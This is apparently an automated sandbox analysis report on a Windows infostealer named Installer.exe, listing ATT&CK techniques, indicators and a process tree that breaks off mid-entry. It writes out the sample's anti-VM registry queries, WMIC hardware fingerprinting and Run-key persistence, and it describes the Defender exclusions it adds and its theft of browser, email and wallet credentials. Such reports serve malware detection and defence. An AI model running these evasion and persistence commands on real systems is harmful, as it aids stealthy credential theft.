f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c

Analysis

max time kernel
152s
max time network
166s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/07/2026, 04:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Installer.exe
Size 168.1MB
Sample260704-evmtbsaz2x
SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
MD5 df2352fff1deec3d9690c5957093130e
SHA1 1eefade8d8bc0b9f7bf1807e9b376340e8aa907c
SHA512 d5c98a909df656a48b7c389776578ce0886a544ebe0e5d5884a02f39f5780289e1deba7397941ff6839dc45a028abcd7f6c6656d3e9838d4aad2ef4d229f54fd
SSDEEP 1572864:wgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hk:cg/geeFXzGa9Fz
TLSH
T144887B03E2DA50D9F05DD1B18B979633EA72B84A4728B6DF265407162F77EE02B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence spyware stealer trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 9 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	2612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4376	powershell.exe
5528	powershell.exe
5584	powershell.exe
2612	powershell.exe
6012	powershell.exe
4972	powershell.exe
2480	powershell.exe
6012	powershell.exe
4604	powershell.exe
4972	powershell.exe
4556	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 3 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	component_1.exe

Executes dropped EXE 15 IoCs

pid	Process
5264	component_1.exe
712	RuntimeBroker.exe
900	RuntimeBroker.exe
2640	HealthService.exe
5776	component_1.exe
1304	component_1.exe
3400	component_1.exe
5124	component_1.exe
5028	component_1.exe
1236	component_2.exe
1624	component_2.exe
3196	component_2.exe
4708	component_2.exe
2252	component_2.exe
3708	component_2.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4220	cmd.exe
5756	cmd.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Binary Proxy Execution: Rundll32 1 TTPs 4 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
5716	rundll32.exe
2640	cmd.exe
1884	rundll32.exe
3484	cmd.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3047816590-610495838-277027736-1000\Software\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\RuntimeBroker\\RuntimeBroker.exe"	component_1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3047816590-610495838-277027736-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealth = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Security\\Health\\HealthService.exe"	component_1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 5 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2872	cmd.exe
4220	cmd.exe
6004	cmd.exe
5756	cmd.exe
5820	cmd.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	api.ipify.org
15	api.ipify.org
21	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2376	tasklist.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	Installer.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4220	cmd.exe
5756	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Installer.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5608	WMIC.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5108	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
712	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2624	WMIC.exe
2624	WMIC.exe
2624	WMIC.exe
2624	WMIC.exe
5256	WMIC.exe
5256	WMIC.exe
5256	WMIC.exe
5256	WMIC.exe
2660	WMIC.exe
2660	WMIC.exe
2660	WMIC.exe
2660	WMIC.exe
1000	WMIC.exe
1000	WMIC.exe
1000	WMIC.exe
1000	WMIC.exe
1500	WMIC.exe
1500	WMIC.exe
1500	WMIC.exe
1500	WMIC.exe
5608	WMIC.exe
5608	WMIC.exe
5608	WMIC.exe
5608	WMIC.exe
3484	WMIC.exe
3484	WMIC.exe
3484	WMIC.exe
3484	WMIC.exe
2640	WMIC.exe
2640	WMIC.exe
2640	WMIC.exe
2640	WMIC.exe
4484	WMIC.exe
4484	WMIC.exe
4484	WMIC.exe
4484	WMIC.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
5528	powershell.exe
5528	powershell.exe
5528	powershell.exe
5584	powershell.exe
5584	powershell.exe
5584	powershell.exe
2612	powershell.exe
2612	powershell.exe
2612	powershell.exe
4160	powershell.exe
4160	powershell.exe
4604	WMIC.exe
4604	WMIC.exe
4604	WMIC.exe
4604	WMIC.exe
4160	powershell.exe
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
6012	powershell.exe
6012	powershell.exe
6012	powershell.exe
4604	powershell.exe
4604	powershell.exe
4604	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2624	WMIC.exe
Token: SeSecurityPrivilege	2624	WMIC.exe
Token: SeTakeOwnershipPrivilege	2624	WMIC.exe
Token: SeLoadDriverPrivilege	2624	WMIC.exe
Token: SeSystemProfilePrivilege	2624	WMIC.exe
Token: SeSystemtimePrivilege	2624	WMIC.exe
Token: SeProfSingleProcessPrivilege	2624	WMIC.exe
Token: SeIncBasePriorityPrivilege	2624	WMIC.exe
Token: SeCreatePagefilePrivilege	2624	WMIC.exe
Token: SeBackupPrivilege	2624	WMIC.exe
Token: SeRestorePrivilege	2624	WMIC.exe
Token: SeShutdownPrivilege	2624	WMIC.exe
Token: SeDebugPrivilege	2624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2624	WMIC.exe
Token: SeRemoteShutdownPrivilege	2624	WMIC.exe
Token: SeUndockPrivilege	2624	WMIC.exe
Token: SeManageVolumePrivilege	2624	WMIC.exe
Token: 33	2624	WMIC.exe
Token: 34	2624	WMIC.exe
Token: 35	2624	WMIC.exe
Token: 36	2624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2624	WMIC.exe
Token: SeSecurityPrivilege	2624	WMIC.exe
Token: SeTakeOwnershipPrivilege	2624	WMIC.exe
Token: SeLoadDriverPrivilege	2624	WMIC.exe
Token: SeSystemProfilePrivilege	2624	WMIC.exe
Token: SeSystemtimePrivilege	2624	WMIC.exe
Token: SeProfSingleProcessPrivilege	2624	WMIC.exe
Token: SeIncBasePriorityPrivilege	2624	WMIC.exe
Token: SeCreatePagefilePrivilege	2624	WMIC.exe
Token: SeBackupPrivilege	2624	WMIC.exe
Token: SeRestorePrivilege	2624	WMIC.exe
Token: SeShutdownPrivilege	2624	WMIC.exe
Token: SeDebugPrivilege	2624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2624	WMIC.exe
Token: SeRemoteShutdownPrivilege	2624	WMIC.exe
Token: SeUndockPrivilege	2624	WMIC.exe
Token: SeManageVolumePrivilege	2624	WMIC.exe
Token: 33	2624	WMIC.exe
Token: 34	2624	WMIC.exe
Token: 35	2624	WMIC.exe
Token: 36	2624	WMIC.exe
Token: SeShutdownPrivilege	4748	Installer.exe
Token: SeCreatePagefilePrivilege	4748	Installer.exe
Token: SeIncreaseQuotaPrivilege	5256	WMIC.exe
Token: SeSecurityPrivilege	5256	WMIC.exe
Token: SeTakeOwnershipPrivilege	5256	WMIC.exe
Token: SeLoadDriverPrivilege	5256	WMIC.exe
Token: SeSystemProfilePrivilege	5256	WMIC.exe
Token: SeSystemtimePrivilege	5256	WMIC.exe
Token: SeProfSingleProcessPrivilege	5256	WMIC.exe
Token: SeIncBasePriorityPrivilege	5256	WMIC.exe
Token: SeCreatePagefilePrivilege	5256	WMIC.exe
Token: SeBackupPrivilege	5256	WMIC.exe
Token: SeRestorePrivilege	5256	WMIC.exe
Token: SeShutdownPrivilege	5256	WMIC.exe
Token: SeDebugPrivilege	5256	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5256	WMIC.exe
Token: SeRemoteShutdownPrivilege	5256	WMIC.exe
Token: SeUndockPrivilege	5256	WMIC.exe
Token: SeManageVolumePrivilege	5256	WMIC.exe
Token: 33	5256	WMIC.exe
Token: 34	5256	WMIC.exe
Token: 35	5256	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4748	Installer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2488	explorer.exe
4056	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 1724	4748	Installer.exe	87
PID 4748 wrote to memory of 5808	4748	Installer.exe	88
PID 5808 wrote to memory of 4540	5808	cmd.exe	90
PID 4540 wrote to memory of 2684	4540	net.exe	91
PID 4748 wrote to memory of 1408	4748	Installer.exe	92
PID 4748 wrote to memory of 1612	4748	Installer.exe	93
PID 4748 wrote to memory of 4112	4748	Installer.exe	94
PID 4112 wrote to memory of 2624	4112	cmd.exe	96
PID 4748 wrote to memory of 2132	4748	Installer.exe	98
PID 2132 wrote to memory of 5256	2132	cmd.exe	100
PID 4748 wrote to memory of 2424	4748	Installer.exe	101
PID 2424 wrote to memory of 2660	2424	cmd.exe	103
PID 4748 wrote to memory of 1672	4748	Installer.exe	104
PID 1672 wrote to memory of 296	1672	cmd.exe	106
PID 4748 wrote to memory of 252	4748	Installer.exe	107
PID 252 wrote to memory of 944	252	cmd.exe	109
PID 4748 wrote to memory of 3888	4748	Installer.exe	110
PID 3888 wrote to memory of 3260	3888	cmd.exe	112
PID 4748 wrote to memory of 2108	4748	Installer.exe	113
PID 2108 wrote to memory of 3804	2108	cmd.exe	115
PID 4748 wrote to memory of 4284	4748	Installer.exe	116
PID 4284 wrote to memory of 6052	4284	cmd.exe	118
PID 4748 wrote to memory of 2320	4748	Installer.exe	119
PID 2320 wrote to memory of 2212	2320	cmd.exe	121
PID 4748 wrote to memory of 1220	4748	Installer.exe	122
PID 1220 wrote to memory of 972	1220	cmd.exe	124
PID 4748 wrote to memory of 2608	4748	Installer.exe	125
PID 2608 wrote to memory of 3056	2608	cmd.exe	127
PID 4748 wrote to memory of 1744	4748	Installer.exe	128
PID 1744 wrote to memory of 6096	1744	cmd.exe	130
PID 4748 wrote to memory of 5020	4748	Installer.exe	131
PID 5020 wrote to memory of 4428	5020	cmd.exe	133
PID 4748 wrote to memory of 1488	4748	Installer.exe	134
PID 1488 wrote to memory of 3444	1488	cmd.exe	136
PID 4748 wrote to memory of 808	4748	Installer.exe	137
PID 808 wrote to memory of 5816	808	cmd.exe	139
PID 4748 wrote to memory of 3396	4748	Installer.exe	140
PID 3396 wrote to memory of 3004	3396	cmd.exe	142
PID 4748 wrote to memory of 416	4748	Installer.exe	143
PID 416 wrote to memory of 1000	416	cmd.exe	145
PID 4748 wrote to memory of 3616	4748	Installer.exe	146
PID 3616 wrote to memory of 1500	3616	cmd.exe	148
PID 4748 wrote to memory of 3684	4748	Installer.exe	149
PID 3684 wrote to memory of 2376	3684	cmd.exe	151
PID 4748 wrote to memory of 5476	4748	Installer.exe	152
PID 5476 wrote to memory of 5608	5476	cmd.exe	154
PID 4748 wrote to memory of 1420	4748	Installer.exe	155
PID 1420 wrote to memory of 3484	1420	cmd.exe	157
PID 4748 wrote to memory of 3224	4748	Installer.exe	158
PID 3224 wrote to memory of 2640	3224	cmd.exe	160
PID 4748 wrote to memory of 2116	4748	Installer.exe	161
PID 2116 wrote to memory of 4484	2116	cmd.exe	163
PID 4748 wrote to memory of 5032	4748	Installer.exe	164
PID 5032 wrote to memory of 2916	5032	cmd.exe	166
PID 4748 wrote to memory of 5188	4748	Installer.exe	167
PID 5188 wrote to memory of 4576	5188	cmd.exe	169
PID 4748 wrote to memory of 4944	4748	Installer.exe	170
PID 4944 wrote to memory of 6092	4944	cmd.exe	172
PID 4748 wrote to memory of 2636	4748	Installer.exe	173
PID 2636 wrote to memory of 5684	2636	cmd.exe	175
PID 4748 wrote to memory of 1748	4748	Installer.exe	176
PID 1748 wrote to memory of 4376	1748	cmd.exe	178
PID 4748 wrote to memory of 2748	4748	Installer.exe	179
PID 2748 wrote to memory of 5528	2748	cmd.exe	181

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Installer.exe"
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1636 --field-trial-handle=1640,i,3408389550696010023,13048625683306969263,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  PID:1724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2684
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2068 --field-trial-handle=1640,i,3408389550696010023,13048625683306969263,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  PID:1408
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2144 --field-trial-handle=1640,i,3408389550696010023,13048625683306969263,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
  2⤵
  PID:1612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get manufacturer,product,serialnumber /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get manufacturer,product,serialnumber /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic systemenclosure get manufacturer,chassistypes /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic systemenclosure get manufacturer,chassistypes /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:252
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
    3⤵
    PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\FADT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\FADT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:6052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\RSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\RSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:3056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:6096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:4428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMTools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMTools"
    3⤵
    - Looks for VMWare services registry key.
    PID:3444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:5816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\Wine""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\Wine"
    3⤵
    PID:3004
- C:\Windows\system32\cmd.exe
